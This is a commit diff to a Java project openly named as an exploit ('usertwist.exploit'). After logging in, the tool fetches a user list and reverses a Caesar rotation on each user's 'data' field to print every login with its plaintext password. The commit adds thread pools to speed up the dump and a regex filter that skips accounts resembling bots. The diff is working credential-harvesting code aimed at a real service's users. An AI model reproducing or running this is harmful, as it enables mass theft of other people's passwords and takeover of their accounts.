Implement Thread pools

.idea/inspectionProfiles/Project_Default.xml

@@ -2,7 +2,7 @@
   <profile version="1.0">
     <option name="myName" value="Project Default" />
     <inspection_tool class="AutoCloseableResource" enabled="true" level="WARNING" enabled_by_default="true">
-      <option name="METHOD_MATCHER_CONFIG" value="java.util.Formatter,format,java.io.Writer,append,com.google.common.base.Preconditions,checkNotNull,org.hibernate.Session,close,java.io.PrintWriter,printf,java.io.PrintStream,printf,java.net.http.HttpClient,newHttpClient,java.net.http.HttpClient.Builder,build" />
+      <option name="METHOD_MATCHER_CONFIG" value="java.util.Formatter,format,java.io.Writer,append,com.google.common.base.Preconditions,checkNotNull,org.hibernate.Session,close,java.io.PrintWriter,printf,java.io.PrintStream,printf,java.net.http.HttpClient,newHttpClient,java.net.http.HttpClient.Builder,build,java.util.concurrent.Executors,newFixedThreadPool|newVirtualThreadPerTaskExecutor" />
     </inspection_tool>
   </profile>
 </component>

src/fr/motysten/usertwist/exploit/Main.java

@@ -16,6 +16,7 @@ import java.security.NoSuchAlgorithmException;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
+import java.util.concurrent.ExecutionException;
 
 public class Main {
 
@@ -26,8 +27,9 @@ public class Main {
     public static int rotation = 4;
     public static boolean asynchronous = true;
     public static Request requestClient;
+    public static boolean ignoreBots = true;
 
-    public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
+    public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException, ExecutionException {
         BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
 
         requestClient = new Request(false);
@@ -60,6 +62,10 @@ public class Main {
         readLine = reader.readLine();
         if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
 
+        System.out.println("Do you want to ignore bot users ? [Y/n]");
+        readLine = reader.readLine();
+        if (readLine.equalsIgnoreCase("n")) {ignoreBots = false;}
+
         JSONObject requestJSON = new JSONObject();
         requestJSON.put("username", username);
         requestJSON.put("password", password);
@@ -132,9 +138,9 @@ public class Main {
 
         float startTime = System.nanoTime();
         if (asynchronous) {
-            Parser.asyncGetPass(usersArray, rotation);
+            Parser.asyncGetPass(usersArray, rotation, ignoreBots);
         } else {
-            Parser.getPass(usersArray, rotation);
+            Parser.getPass(usersArray, rotation, ignoreBots);
         }
         float elapsedTime = (System.nanoTime() - startTime) / 1000000;
         System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");

src/fr/motysten/usertwist/exploit/tools/Parser.java

@@ -3,35 +3,54 @@ package fr.motysten.usertwist.exploit.tools;
 import org.json.JSONArray;
 import org.json.JSONObject;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
 public class Parser {
 
-    public static void getPass(JSONArray usersArray, int rotation) {
-        for (int i = 0; i < usersArray.length(); i++) {
-            JSONObject user = usersArray.getJSONObject(i);
-            String login = user.getString("username");
-            String password = Cesar.rotate(user.getString("data"), rotation);
+    private static final String regex = "(^[A-Z][A-Za-z]+[0-9][A-Z])|(^.*?([A-Z]|[0-9]{3}).*?[,?;.:/!§%*^¨$£+])";
+    private static final Pattern pattern = Pattern.compile(regex);
 
-            System.out.println((i + 1) + ". " + login + " => " + password);
+    public static void getPass(JSONArray usersArray, int rotation, boolean ignoreBots) {
+        for (int i = 0; i < usersArray.length(); i++) {
+            parseJSON(usersArray, rotation, ignoreBots, i);
         }
     }
 
-    public static void asyncGetPass(JSONArray usersArray, int rotation) throws InterruptedException {
+    public static void asyncGetPass(JSONArray usersArray, int rotation, boolean ignoreBots) throws ExecutionException, InterruptedException {
+
+        ExecutorService executor = Executors.newVirtualThreadPerTaskExecutor();
+        List<Future<String>> threads = new ArrayList<>();
 
         for (int i = 0; i < usersArray.length(); i++) {
 
             int finalI = i;
-
-            Runnable r = () -> {
-                JSONObject user = usersArray.getJSONObject(finalI);
-                String login = user.getString("username");
-                String password = Cesar.rotate(user.getString("data"), rotation);
-
-                System.out.println((finalI + 1) + ". " + login + " => " + password);
-            };
-
-            Thread t = Thread.startVirtualThread(r);
-            t.join();
+            Future<String> t = executor.submit(() -> parseJSON(usersArray, rotation, ignoreBots, finalI));
+            threads.add(t);
+        }
+        for (Future<String> t : threads) {
+            if (t.get() != null) {
+                System.out.println(t.get());
+            }
         }
     }
 
+    private static String parseJSON(JSONArray usersArray, int rotation, boolean ignoreBots, int finalI) {
+        JSONObject user = usersArray.getJSONObject(finalI);
+        String login = user.getString("username");
+        String password = Cesar.rotate(user.getString("data"), rotation);
+
+        final Matcher matcher = pattern.matcher(password);
+        if (!matcher.matches() || !ignoreBots) {
+            return (finalI + 1) + ". " + login + " => " + password;
+        }
+        return null;
+    }
+
 }